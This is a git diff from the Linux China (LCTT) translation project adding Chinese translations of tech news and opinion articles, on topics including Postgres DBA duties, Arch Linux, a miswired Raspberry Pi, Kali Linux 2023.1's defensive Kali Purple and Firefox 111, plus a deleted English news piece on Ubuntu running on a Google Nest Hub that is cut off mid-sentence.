必须对备份和恢复解决方案有深入的了解,并且必须设计和实施备份策略,以确保在数据丢失的情况下始终可以恢复数据。他们还必须验证恢复过程并实施高可用性和灾难恢复解决方案,以最大限度地减少停机时间和数据丢失。 + +### 安全 + +安全是另一个重要的职责。DBA 通过实施访问控制、加密和其他安全措施来保护数据,从而确保数据库安全。他们还必须了解最新的安全趋势和最佳实践,并加以实施以防范潜在威胁。 + +### 基础设施管理 + +基础设施管理也是一项重要职责。这些 DBA 必须管理硬件、网络和存储基础设施,并提供基础设施以支持 Postgres。他们还必须针对性能和可用性配置基础架构,并根据需要扩展基础架构以适应数据增长。 + +### 自动化和脚本 + +该角色必须能够使用 [Ansible][2]、Terraform 和 [Kubernetes][3] 等工具自动执行重复性任务,例如备份、监控和修补。他们还必须熟悉自动化最佳实践,以确保高效且有效地自动化任务。自动化减少了人为错误的可能性,提高了效率,并允许 DBA 专注于更复杂的任务。 + +### 监控和配置警报 + +监控数据库和基础设施并设置警报以通知他们问题非常重要。该角色还必须采取主动措施来防止停机和数据丢失,使用 Nagios、Zabbix 和 Prometheus 等监控工具来检测潜在问题。 + +### 合作 + +除了这些技术职责外,PostgreSQL DevOps DBA 还必须与其他 IT 团队(例如开发人员、运维人员和安全人员)协作,以将数据库集成到更大的 IT 生态系统中。DBA 还必须记录他们的工作,并及时了解 Postgres 和 [DevOps][4] 的最新趋势和最佳实践。这涉及与利益相关者合作以收集需求、确定优先级并使数据库与组织的更广泛目标保持一致。 + +### 总结 + +总之,Postgres DevOps DBA 在依赖 Postgres 作为主要数据库管理系统的现代 IT 组织中发挥着关键作用。你当前的技能和期望如何匹配此列表?作为现代数据库环境中的 DBA,你是否走在正确的道路上? + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/23/3/postgres-devops-dba + +作者:[Doug Ortiz][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/dougortiz +[b]: https://github.com/lkxed/ +[2]: https://opensource.com/article/19/2/quickstart-guide-ansible +[3]: https://www.redhat.com/en/topics/containers/what-is-kubernetes?intcmp=7013a000002qLH8AAM +[4]: https://opensource.com/article/20/12/remote-devops +[0]: https://img.linux.net.cn/data/attachment/album/202303/22/075232pgphrt3nuhp1nu7r.jpg \ No newline at end of file diff --git a/published/20230309.1 ⭐️ Contribute to open source without code.md b/published/20230309.1 ⭐️ Contribute to open source without code.md new file mode 100644 index 0000000000..be07533b0e --- /dev/null +++ b/published/20230309.1 ⭐️ Contribute to open source without code.md @@ -0,0 +1,96 @@ +[#]: subject: "Contribute to open source without code" +[#]: via: "https://opensource.com/article/23/3/non-code-contribution-open-source" +[#]: author: "Debra Chen https://opensource.com/users/debra-chen" +[#]: collector: "lkxed" +[#]: translator: "Cubik65536" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15633-1.html" + +不编写代码也可以为开源项目做出贡献 +====== + +![][0] + +> 如果你想通过非代码贡献成为一个提交者,或者没有时间做代码贡献,那么第一步就是加入社区。 + +对于不同的人来说,开源“社区”意味着不同的东西。我认为开源有点像“爱情”,因为它是关于人和关系的。把开源当作一个社区,因为没有人,就没有源代码,无论是开源还是闭源。 + +我是 [Apache DolphinScheduler][1] 社区的成员。由于该项目有意保持低代码,因此它吸引了许多 [非软件开发人员][2]。有时,那些不编写代码的人不确定是否有一种有意义的方式来为主要由源代码组成的开源项目做出贡献。我的经验告诉我,有,我将在本文中解释原因。 + +### 向社区做出贡献 + +在 Apache DolphinScheduler 项目中,我主要负责全球运营、影响力和社区关怀。 + +一些人会说项目是树而开源是土壤。这是一个恰当的比喻,它说明了积极培育你想要帮助成长的东西的重要性。 + +我有一个更简单的想法:尽一切可能使其变得更好。 + +一个社区需要不断的关注,不是因为它很贪心,而是因为它是生活的一部分。社区是你身边的人,无论是物理空间还是在线空间。 + +自从加入开源社区以来,我已经独立发起并组织了一些活动,包括: + +- 平均每月在中国举办一次会议。 +- 建议社区参与大数据领域内的技术分享。 +- 协调了中国“大数据”领域几乎所有的开源项目,与这些社区进行了个别访问和交流。 + +在我看来,一个优秀的项目应该在一个良好的生态系统中成长。社区需要走出去,交换想法,分享资源,并与其他优秀的社区合作。每个人都应该感受到社区在工作中带来的好处。 + +我的海外扩张遵循相同的模式。当然,由于文化和语言的差异,这样做很困难。这需要耗费精力,但这是值得的。 + +到目前为止,我们已经在包括美国、印度、新加坡、德国、法国、芬兰等国家成功举办了会议。 + +所以我如何为 DolphinScheduler 做出贡献?我是否向项目提交代码?我是社区经理吗?我有正式的职称吗? + +我认为自己是一个助手。我促进沟通和联系,这与任何代码贡献一样,都是 “Apache Way” 的一个例子。 + +### 从 DolphinScheduler 开始 + +我第一次接触开源是在开放原子基金会工作时,担任开源教育运营经理。作为中国第一个开源基金会,开放原子运营了以 [OpenHarmony][3] 为代表的许多项目。 + +我加入了 DolphinScheduler 社区并发现了一群热衷于分享知识、提供指导和支持,并热衷于帮助其他人发现对他们自己的生活有用的工具的人。 + +DolphinScheduler 旨在成为一个拥有全球影响力的调度系统,帮助团队以 [敏捷][4] 和高效的方式工作。 + +### 对社区的第一印象 + +听到社区对项目开发的抱怨是一件常见的事情。我们都会时不时地抱怨。也许你报告了一个错误,但开发人员没有解决你的问题。或者,也许你有一个很棒的功能想法,但团队忽略了它。如果你是一个开源社区的成员,你以前就听到过这些不满,如果你没有,你最终会听到。 + +我了解到,这些声音对于开源社区来说都很重要。这是一个好现象,因为当你听到这些反馈时,这意味着社区愿意发现错误,报告它们,提出问题和回答问题。听到这些抱怨可能会揭示项目结构中需要改进的地方。社区中是否有志愿者可以回应错误报告并对它们进行分类,以便它们能够被分配给正确的开发人员?是否有一个志愿者组等待成立,以便迅速回应项目论坛或论坛中新人的问题? + +开源项目的门口有一个招待员可以帮助邀请犹豫不决的社区成员。招待员还可以确保没有“门槛”。每个人都受欢迎,每个人都有自己的贡献,即使他们能提供的只是互相帮助的氛围。 + +尽管你我都希望能为每个人解决技术问题,但这是不现实的。但任何人都愿意帮助找到解决方案,这是社区的一个伟大优势。这些用户自发地充当了社区的“客户服务”部门。 + +在 DolphinScheduler 项目中,我们有很多人(Yan Jiang、Xu Zhiwu、Zhang Qichen、Wang Yuxiang、Xiang Zihao、Yang Qiyu、Yang Jiahao、Gao Chufeng 和 Gao Feng,顺序不分先后!)。即使他们不开发解决方案,他们也不遗余力地寻找能够开发解决方案的人。 + +### 给社区的话 + +如果你希望通过非代码贡献成为提交者,或者没有时间进行代码贡献,那么第一步就是加入社区。没有注册表格或批准流程,但也没有快速通道。你通过参与加入社区。你通过可靠且持续的参与与其他人建立关系。 + +我随时都可以聊天,总是渴望谈论全球活动组织、文档、反馈等。 + +### 成为提交者 + +Apache DolphinScheduler 面临着许多挑战。大多数公司,即使是支持开源的公司,也会选择非开源的商业工具。我希望与社区合作伙伴一起,使 DolphinScheduler 成为世界级的调度系统。我希望每个人都可以收获他们想要的技术成果,而 DolphinScheduler 可以帮助他们实现这一目标。 + +加入我们的社区,帮助我们推广开放和敏捷的工作方式。或者找到一个需要你非编码技能的项目。发现让你的同龄人社区获得力量是多么酷和有趣! + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/23/3/non-code-contribution-open-source + +作者:[Debra Chen][a] +选题:[lkxed][b] +译者:[Cubik65536](https://github.com/Cubik65536) +校对:[wxy](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/debra-chen +[b]: https://github.com/lkxed/ +[1]: https://dolphinscheduler.apache.org/en-us +[2]: https://opensource.com/article/21/2/what-technical +[3]: https://gitee.com/openharmony +[4]: https://opensource.com/article/22/5/practical-tips-agile +[0]: https://img.linux.net.cn/data/attachment/album/202303/16/231703lt3v8fw7t85uya30.jpg \ No newline at end of file diff --git a/published/20230309.3 ⭐️⭐️ Arch Linux vs Other Linux Distros Which is Right for You.md b/published/20230309.3 ⭐️⭐️ Arch Linux vs Other Linux Distros Which is Right for You.md new file mode 100644 index 0000000000..7b97852bfa --- /dev/null +++ b/published/20230309.3 ⭐️⭐️ Arch Linux vs Other Linux Distros Which is Right for You.md @@ -0,0 +1,147 @@ +[#]: subject: "Arch Linux vs Other Linux Distros: Which is Right for You?" +[#]: via: "https://www.debugpoint.com/arch-linux-vs-other-distros/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15631-1.html" + +世界上只有两个 Linux 发行版:Arch Linux 与其它 +====== + +![][0] + +> 如果你打算把 Arch Linux 作为日常用机,你应该考虑一下 Arch Linux 与其他发行版的不同优点。下面是一个快速比较。 + +如果你考虑改用 Linux,你会接触到数百个 Linux 发行版。每个 Linux 发行版都有其独特的功能、优势和劣势。 + +它们为用户提供了独特的功能、工具和界面的选择,以满足不同的需求。如果你想和 Arch Linux 进行比较,选择合适的 Linux 发行版,这可能会让人不知所措。 + +在这篇文章中,我将重点介绍 Arch Linux,它是最受欢迎的 Linux 发行版之一,并将它与其他流行的 Linux 发行版进行比较。 + +### 关于 Arch Linux 的一些说明 + +Arch Linux 是一个轻量级和高度可定制的 Linux 发行版,最初发布于 2002 年。与其他流行的发行版不同,Arch Linux 是一个简约的发行版,采用自己动手(DIY)的方式。它是为中高级 Linux 用户设计的,他们喜欢控制和灵活性而不是易用性。 + +Arch Linux 遵循滚动发布模式,这意味着你可以经常用最新的软件包更新你的系统。 + +#### Arch Linux 的优点 + +Arch Linux 有很多优点。然而,一个发行版到底好不好取决于你的使用情况或品味。这因人而异。但在我看来,Arch Linux 比其他 Linux 发行版有几个优势,比如: + +- 轻量级和快速(原装版的 Arch,尤其是带有 Xfce 桌面的) +- 灵活性和定制化 +- 最新的软件包 +- 可靠和稳定(如果正确使用和维护的话) +- 通过 Arch 用户仓库Arch User Repository(AUR)收集最广泛的软件包 +- 通过测试软件仓库和安装提供开发包 + +现在,让我们简单了解一下主要和流行的 Linux 发行版。 + +### 其他主要发行版的简要概述 + +#### Ubuntu + +Ubuntu 由 Canonical 创建,它是最受欢迎的 Linux 发行版之一,为所有用户和各种使用情况而设计。你可以将 Ubuntu 用于日常工作、开发环境、休闲浏览等方面。它以 Debian 为基础,提供了一个用户友好的 GNOME 桌面环境界面和优秀的软件管理工具。Ubuntu 每年发布两个版本,每两年有一个长期版本。 + +#### Fedora + +Fedora 由 Red Hat 开发和资助,它是另一个流行的 Linux 发行版。它是为中高级用户构建的。它提供最新的软件包,并具有最先进的桌面环境。许多用户喜欢 Fedora,因为它在采用现代技术时总是走在最前面。例如,Wayland 显示服务器,Piperwire 声音服务器,内存超出处理,以及许多其他技术都是由 Fedora 首先采用的。而 Ubuntu 紧随其后。 + +#### Debian + +被称为 “通用操作系统” 的 Debian Linux 已经有二十多年的历史。它稳定、可靠,具有大量的软件包。Debian 以支持所有计算机架构而闻名。Debian 的 “稳定” 版本被认为是当今最稳定的 Linux 发行版。虽然,它的发布节奏比这个名单中的其他版本要慢一些。 + +#### CentOS + +CentOS 以其稳定性、安全性和可靠性而闻名,被广泛用于企业环境中的服务器部署和管理。CentOS 基于红帽 Linux 企业版(RHEL),它为运行 Web 服务器、数据库和关键应用程序提供了一个强大和可扩展的平台。它提供的长期支持和频繁的更新使它在开发者、系统管理员和企业中很受欢迎。 + +### Arch Linux 与其他 Linux 发行版的比较 + +现在你对一些流行的 Linux 发行版有了一些了解,让我们把 Arch Linux 与其他 Linux 发行版进行比较。 + +#### 安装过程 + +多年来,与其他发行版相比,Arch Linux 的安装有一定的难度,因为它需要手动安装和配置。然而,Arch Linux 的安装过程为用户提供了更大的控制和定制选项。 + +但最近,Arch Linux 团队通过 [archinstall][1] 脚本推出了一个菜单驱动的、易于操作的安装程序。利用它并掌握一些基本知识,现在可以直接安装 Arch Linux 了。此外,Arch Linux 还提供了 [虚拟机和 Docker 镜像][2],这对加快 Arch Linux 的部署非常有用。 + +![archinstall 的最终分区表][3] + +另一方面,Ubuntu、Linux Mint 和 Fedora 等发行版有图形化的安装向导,更容易使用,适合初学者。 + +#### 软件包管理器 + +Arch Linux 的默认软件包管理器是 [Pacman][4],它以其速度和可靠性著称。它还具有 [Arch 用户仓库(AUR)][5],这是一个由社区驱动的用户贡献的庞大的软件仓库。 + +相比之下,其他发行版,如 Ubuntu 和 Debian 使用 APT(高级软件包工具Advanced Package Tool),而 Fedora 使用 DNF,它也是可靠和快速的。 + +但根据我的经验,如果你仔细选择镜像,Pacman 要比 APT 和 DNF 软件包管理器快。 + +#### 滚动发布与定期发布比较 + +Arch Linux 与其他发行版的一个重要区别是其滚动发布模式。Arch Linux 提供了持续的更新,因此用户可以随时获取最新的软件包。相比之下,像 Ubuntu 和 Fedora 这样的发行版通过他们的标准发布计划来提供,需要一些时间。 + +Fedora 每 6 个月左右就会有定期发布的版本。Ubuntu 每年也有两个版本。虽然定期发布的版本提供了稳定性,但它们可能没有最新的软件包可用。 + +所以,这要归结为你自己的需要和工作流程。 + +#### 自定义和控制 + +Arch Linux 是为希望完全控制和定制自己的系统的用户设计的。原装的 Arch Linux 安装只安装基本的软件包,用户可以根据自己的需要添加其他软件。 + +根据你的使用情况,你可以选择安装你喜欢的浏览器、文本编辑器、媒体播放器、图像编辑器等等。没有什么是强加给你的。 + +其他发行版,如 Ubuntu 和 Fedora 提供了更多的预装软件包,使它们对初学者来说更容易使用。然而,它们可能没有提供像 Arch Linux 那样多的控制和定制功能。 + +但是,提供预装软件使许多用户、学校、学生和想要一个有预建项目的系统的老年人更轻松。 + +#### 稳定性和安全性 + +Arch Linux 以其稳定性和安全性而闻名,这主要是由于它对软件包的安装采取了简约的方法。用户可以完全控制他们安装的软件包,这使得它不容易受到安全漏洞的影响。 + +此外,Linux 主线内核(主要和次要版本)每月都会在 Arch 软件仓库中率先发布。因此,总的来说,你可以放心,如果你保持你的 Arch Linux 定期更新,你几乎是安全的。 + +其他发行版,如 Debian 和 CentOS 也以其稳定性和安全性而闻名,但它们可能没有 Arch Linux 那样最新的软件包。 + +### 哪个 Linux 发行版适合你? + +选择合适的 Linux 发行版取决于你的需求和专业水平。 + +如果你是一个有经验的 Linux 用户,想要完全控制和定制,Arch Linux 是一个很好的选择。如果你知道处理错误的基本方法,在错误升级的情况下可以绕过系统故障,那么它就是最好的选择。 + +然而,如果你是一个 [初学者][6] 或者喜欢开箱即用的体验,Ubuntu、Linux Mint 或 Fedora 等发行版可能更好。 + +### 结论 + +选择合适的 Linux 发行版是一种挑战,但了解它们的差异可以帮助你做出明智的决定。 + +Arch Linux 是一个独特而强大的发行版,提供完全的控制和定制,但它可能并不适合所有人。 + +像 Ubuntu 和 Fedora 这样的流行发行版提供了易用性和更多的预装软件包,使它们成为初学者的绝佳选择。 + +最后,我希望这份指南能给你一个关于 Arch Linux 与其他发行版相比的基本指导。 + +加油。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/arch-linux-vs-other-distros/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed/ +[1]: https://www.debugpoint.com/archinstall-guide/ +[2]: https://archlinux.org/download/ +[3]: https://www.debugpoint.com/wp-content/uploads/2022/01/Final-partition-table-for-archinstall.jpg +[4]: https://www.debugpoint.com/pacman-command-arch-examples/ +[5]: https://www.debugpoint.com/aur-arch-linux/ +[6]: https://www.debugpoint.com/linux-distro-beginners/ +[0]: https://img.linux.net.cn/data/attachment/album/202303/16/091648yt6xxdjnc5tttn1z.jpg \ No newline at end of file diff --git a/published/20230314.2 ⭐️ How I destroyed my Raspberry Pi.md b/published/20230314.2 ⭐️ How I destroyed my Raspberry Pi.md new file mode 100644 index 0000000000..e3e2285a13 --- /dev/null +++ b/published/20230314.2 ⭐️ How I destroyed my Raspberry Pi.md @@ -0,0 +1,70 @@ +[#]: subject: "How I destroyed my Raspberry Pi" +[#]: via: "https://opensource.com/article/23/3/how-i-destroyed-my-raspberry-pi" +[#]: author: "Stephan Avenwedde https://opensource.com/users/hansic99" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15646-1.html" + +我是如何毁掉我的树莓派的 +====== + +![][0] + +> 多测量几次总比测量一次好。我掉到坑里,希望你可以不用。 + +我想写一篇文章来演示“如何使用树莓派实现莫某的自动化”,或围绕树莓派的其他一些有趣、好奇或有用的应用。正如你可能从标题中意识到的那样,我不能再提供这样的文章了,因为我毁了我心爱的树莓派。 + +树莓派是每个技术爱好者办公桌上的标准设备。因此,大量教程和文章告诉你可以用它做什么。这篇文章反而涵盖了阴暗面:我描述了你最好不要做的事情! + +### 电缆颜色 + +在谈到实际的破坏点之前,我想提供一些背景。在房屋内外进行电气工作时,你必须处理不同颜色的电缆。在德国,每栋房子都连接到三相交流电网,你通常会发现以下电缆颜色: + +- 零线:蓝色 +- (PE)地线:黄绿色 +- (L1)火线 1:棕色 +- (L2)火线 2:黑色 +- (L3)火线 3:灰色 + +例如,给灯接线时,你接零线(N,蓝色)和火线(L,有 1/3 的机会是棕色),它们之间的电压为 230V 交流电。 + +### 连接树莓派 + +今年早些时候,我写了一篇关于 [OpenWrt,家用路由器固件的开源替代品][1] 的文章。在文章中,我使用了 TP-link 路由器设备。但是,最初的计划是使用我的树莓派 4。 + +![OpenWrt and Raspberry Pi comparison][2] + +我的想法是构建一个旅行路由器,我可以将其安装在我的大篷车中以改善露营地的互联网连接(我是那种离不开互联网的露营者)。为此,我在我的树莓派中添加了一个单独的 USB 无线网卡以连接第二个 Wifi 天线并安装了 [OpenWrt][3]。此外,我添加了一个 12V 至 5V DC/DC 转换器来连接大篷车中的 12V 接线。我用桌上的 12V 汽车电池测试了这个设置,它按预期工作。一切设置和配置完成后,我开始将其安装到我的大篷车中。 + +在我的大篷车里,我找到了一根蓝色和一根棕色的电线,将它与 12V 至 5V DC/DC 转换器相连,将保险丝放回,然后…… + +![DC converter device][4] + +这个芯片,自己爆开了,它才是真正的降压变压器。我非常自信地认为蓝线是在 0V 电位上,棕色的是在 12V 上,我甚至没有测量。后来我了解到,蓝色的线是在 12V 上,而棕色的线是接地(这在汽车电子产品中很常见)。 + +### 总结 + +自从这次事故后,我的树莓派就再也启动不起来了。由于树莓派的价格飞涨,我不得不寻找替代品。幸运的是,我遇到了 TP-Link 旅行路由器,它也可以运行 Open-WRT 并且可以令人满意地完成它的工作。 + +最后:多测量几次总比测量一次好。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/23/3/how-i-destroyed-my-raspberry-pi + +作者:[Stephan Avenwedde][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/hansic99 +[b]: https://github.com/lkxed/ +[1]: https://opensource.com/article/22/7/openwrt-open-source-firmware +[2]: https://opensource.com/sites/default/files/2023-03/OpenWrt_Comparison_RaspberryPi.jpg +[3]: https://openwrt.org/ +[4]: https://opensource.com/sites/default/files/2023-03/dc_converter.png +[0]: https://img.linux.net.cn/data/attachment/album/202303/21/154709mhtffmtaze85utjb.jpg \ No newline at end of file diff --git a/published/20230314.4 ⭐️ Kali Linux Introduces “Kali Purple” for Defensive Security Hardening.md b/published/20230314.4 ⭐️ Kali Linux Introduces “Kali Purple” for Defensive Security Hardening.md new file mode 100644 index 0000000000..8648dbd9ff --- /dev/null +++ b/published/20230314.4 ⭐️ Kali Linux Introduces “Kali Purple” for Defensive Security Hardening.md @@ -0,0 +1,112 @@ +[#]: subject: "Kali Linux Introduces “Kali Purple” for Defensive Security Hardening" +[#]: via: "https://debugpointnews.com/kali-linux-2023-1/" +[#]: author: "arindam https://debugpointnews.com/author/dpicubegmail-com/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15636-1.html" + +Kali Linux 推出用于防御性安全加固的 “Kali Purple” +====== + +> Kali Linux 2023.1 发布了重大更新,并引入了一个新的变体 “Kali Purple”。 + +![Kali Linux 2023.1 桌面][1] + +在 Kali Linux 的 10 周年纪念,该团队为你准备了一些好东西。Kali Linux 2023.1 是 Kali Linux 的常规软件包更新,它带来了最新的桌面环境和主线内核更新。 + +### Kali Linux 2023.1 推出 Kali Purple + +这个版本的主要亮点是 [Kali Purple][2],这是 Kali Linux 的一个新变体,带有 “防御性安全” 工具。Kali 团队目前正在将其作为技术预览版发布。 + +防御性安全软件可以实现各方面的安全加固,如漏洞扫描、事件跟踪和响应、数据包捕获、入侵检测等。现在你可以使用 Kali Purple 为你的应用程序或企业内置的所有工具。 + +![你可以在安装过程中选择防卫包][3] + +Kali Purple 带来了 100 多个防御工具、文档、用于自动攻击脚本构建的 Kali CoPilot 以及更多工具。 + +- [Arkime][4] - 完整的数据包捕获和分析 +- [CyberChef][5] - 网络瑞士军刀 +- Elastic Security - 安全信息和事件管理 +- [GVM][6] - 漏洞扫描器 +- [TheHive][7] - 事件响应平台 +- Malcolm - 网络流量分析工具套件 +- [Suricata][8] - 入侵检测系统 +- [Zeek][9] -(另一个)入侵检测系统 + +此外,为了与 美国《国家标准和技术研究所关键基础设施网络安全(NIST CSF)》的指导方针保持一致,为你配置了单独的菜单项目。它包括单独的应用类别 - 识别、保护、检测、响应和恢复。 + +![根据 CIST CSF 准则的新菜单组][10] + +此外,还为 Kali Purple 创建了一个单独的 Discord 频道,用于合作和为社区提供额外的帮助。 + +### Python 中的 Pip 变化 + +Python 的 `pip` 命令在(即将发布的)Debian 12 Bookworm 版本中正在发生变化。`pip` 命令用于安装 Python 模块。由于这些模块是用 `pip` 从外部安装的,它可能会破坏现有的 Debian 系统。 + +因此,从 Debian 12 开始,如果你试图用 `pip` 安装任何模块,你应该会得到一个 “外部管理的环境externally-managed-environment”的错误。如下: + +![你可以在 Kali 和 Debian 中使用 pip 进行安装][11] + +Kali Linux 团队从这个版本开始提供一个补丁,使你可以使用 `pip` 安装任何模块。但这只是暂时的解决方案,直到 Debian 12 稳定版。 + +所以,如果你是一个在 Kali Linux(或在 Debian)中使用 Python 环境的开发者,你肯定应该计划使用下面的 `apt` 命令来部署这些模块: + +``` +apt install python3-numpy +``` + +### 桌面环境和其他更新 + +默认桌面 Xfce 现在采用了 Xfce 4.18 版本,它带来了大量的功能,包括分割视图、图像预览和 Thunar 文件管理器中的其他功能。另外,KDE Plasma 版现在在 Kali Linux 2023.1 中的版本是 5.27。 + +Xfce 版的默认主题得到了改进,具有令人惊叹的外观;许多新的壁纸也包含在这个版本中。 + +最后,主线内核 6.1 现在可以在这个版本中使用,提供了最新的硬件、 CPU、GPU 和其他支持。 + +### 下载 + +如果你已经在运行 Kali Linux,只需运行系统升级就可以得到这个版本: + +``` +sudo apt update && sudo apt upgrade -y +``` + +对于新的下载,请访问下面的页面来获取 ISO。 + +> **[下载 Kali Linux][12]** + +如果你想试试 Kali Purple,请访问下面的页面: + +> **[下载 Kali Purple ISO][13]** + +参考自 [发布公告][14]。 + +-------------------------------------------------------------------------------- + +via: https://debugpointnews.com/kali-linux-2023-1/ + +作者:[arindam][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://debugpointnews.com/author/dpicubegmail-com/ +[b]: https://github.com/lkxed/ +[1]: https://debugpointnews.com/wp-content/uploads/2023/03/Kali-Linux-2023.1-Desktop.jpg +[2]: https://gitlab.com/kalilinux/kali-purple/documentation/-/wikis/home +[3]: https://debugpointnews.com/wp-content/uploads/2023/03/You-have-the-option-to-choose-defensive-packages-during-installation.jpg +[4]: https://pkg.kali.org/pkg/arkime +[5]: https://pkg.kali.org/pkg/cyberchef +[6]: https://www.kali.org/tools/gvm/ +[7]: https://pkg.kali.org/pkg/thehive +[8]: https://pkg.kali.org/pkg/suricata +[9]: https://pkg.kali.org/pkg/zeek +[10]: https://debugpointnews.com/wp-content/uploads/2023/03/New-menu-groups-as-per-CISF-NSF-guideline.jpg +[11]: https://debugpointnews.com/wp-content/uploads/2023/03/You-can-install-using-pip-in-Kali-and-Debian.jpg +[12]: https://www.kali.org/get-kali/#kali-installer-images +[13]: https://cdimage.kali.org/kali-2023.1/kali-linux-2023.1-installer-purple-amd64.iso +[14]: https://www.kali.org/blog/kali-linux-2023-1-release/ \ No newline at end of file diff --git a/published/20230316.2 ⭐️ Firefox 111 Released with New Native Notifications.md b/published/20230316.2 ⭐️ Firefox 111 Released with New Native Notifications.md new file mode 100644 index 0000000000..ff816de8e5 --- /dev/null +++ b/published/20230316.2 ⭐️ Firefox 111 Released with New Native Notifications.md @@ -0,0 +1,68 @@ +[#]: subject: "Firefox 111 Released with New Native Notifications" +[#]: via: "https://debugpointnews.com/firefox-111/" +[#]: author: "arindam https://debugpointnews.com/author/dpicubegmail-com/" +[#]: collector: "lkxed" +[#]: translator: "Cubik65536" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15639-1.html" + +Firefox 111 已发布,带来了原生系统通知 +====== + +![][0] + +> Firefox 111 已发布,带来了原生通知、新增的本地化语言以及增强的 Web 平台功能。 + +![在 Linux 上运行的 Firefox 111][1] + +### Firefox 111 发布亮点 + +Firefox,一个流行的网络浏览器,已经发布了 111 版本,其中引入了几个新功能和增强功能。其中一个突出的新增功能是支持 Windows 原生的系统通知,为整个平台提供了更流畅和一致的用户体验。 + +除此之外,Firefox Relay 用户现在可以轻松地从 Firefox 凭据管理器中直接创建 Relay 邮箱。此功能仅适用于登录了 Firefox 帐户的用户,为其在线活动提供了额外的隐私和安全保护。 + +另外,Firefox 111 已经通过添加两个新的语言 – 弗留利语Silhe Friulian(fur)和 撒丁语Sardinian(sc)– 来扩大其语言支持列表。这一举措旨在为世界各地的 Firefox 用户提供更好的可访问性和包容性。 + +在 Web 平台方面,Firefox 已经在表单元素上引入了 “rel” 属性,使开发人员可以更轻松地指定当前文档与表单目标之间的关系。这一功能与其他浏览器兼容,并简化了 Web 应用程序的开发过程。 + +最后,Firefox 已经启用了 原点私有文件系统访问origin private file system access,这是一种新的存储 API,允许 Web 应用程序在沙箱中存储和检索文件系统中的数据。这一增强功能为开发人员提供了对数据存储和检索过程的更多控制,确保用户数据的安全性和隐私性。 + +### 下载和更新 + +对于 Linux 发行版,如果你通过发行版的官方仓库使用 Firefox,那么你应该在几天内获得此更新。 + +但是,你也可以从下面的页面下载此版本的压缩版本。有关其他下载选项,请访问我们的 [Firefox 下载指南][2]。 + +> **[下载 Firefox 111][3]** + +祝浏览愉快! + +- [官方发布通知][4] +- [Beta110 发布通知][5] +- [开发者发布版本通知][6] + +### 总结 + +总体来说,Firefox 111 版本提供了一系列新功能和增强功能,这些功能提高了用户体验,并为 Web 开发人员提供了更丰富的控制权和安全性。凭借其对可访问性、包容性和隐私方面的投入,Firefox 仍然是全球用户的首选浏览器。 + +-------------------------------------------------------------------------------- + +via: https://debugpointnews.com/firefox-111/ + +作者:[arindam][a] +选题:[lkxed][b] +译者:[Cubik65536](https://github.com/Cubik65536) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://debugpointnews.com/author/dpicubegmail-com/ +[b]: https://github.com/lkxed/ +[1]: https://debugpointnews.com/wp-content/uploads/2023/03/Firefox-111-Running-in-Linux.jpg +[2]: https://www.debugpoint.com/download-firefox/ +[3]: https://ftp.mozilla.org/pub/firefox/releases/111.0/ +[4]: https://www.mozilla.org/en-US/firefox/111.0/releasenotes/ +[5]: https://www.mozilla.org/en-US/firefox/111.0beta/releasenotes/ +[6]: https://developer.mozilla.org/en-US/docs/Mozilla/Firefox/Releases/111 +[0]: https://img.linux.net.cn/data/attachment/album/202303/19/144348oyfh999yy292f0f9.jpg \ No newline at end of file diff --git a/sources/news/20220617 Ubuntu Runs on a Google Nest Hub, Wait, What-.md b/sources/news/20220617 Ubuntu Runs on a Google Nest Hub, Wait, What-.md deleted file mode 100644 index 04cbc94117..0000000000 --- a/sources/news/20220617 Ubuntu Runs on a Google Nest Hub, Wait, What-.md +++ /dev/null @@ -1,87 +0,0 @@ -[#]: subject: "Ubuntu Runs on a Google Nest Hub, Wait, What?" -[#]: via: "https://news.itsfoss.com/ubuntu-google-nest/" -[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" -[#]: collector: "lkxed" -[#]: translator: " " -[#]: reviewer: " " -[#]: publisher: " " -[#]: url: " " - -Ubuntu Runs on a Google Nest Hub, Wait, What? -====== -A hacker successfully managed to run Ubuntu on a Google Nest Hub (2nd Gen), say, what now? - -![ubuntu google][1] - -I just spotted a story about Ubuntu running on a Google Nest Hub (2nd Gen). - -Well, that is certainly exciting! - -So, let me share more about it here. - -### Hacking Google Nest Hub to Install Ubuntu - -Yes, a hacking attempt made this possible. - -A cybersecurity professional, **Frédéric Basse**, broke the secure boot on Google Nest Hub (2nd gen) and managed 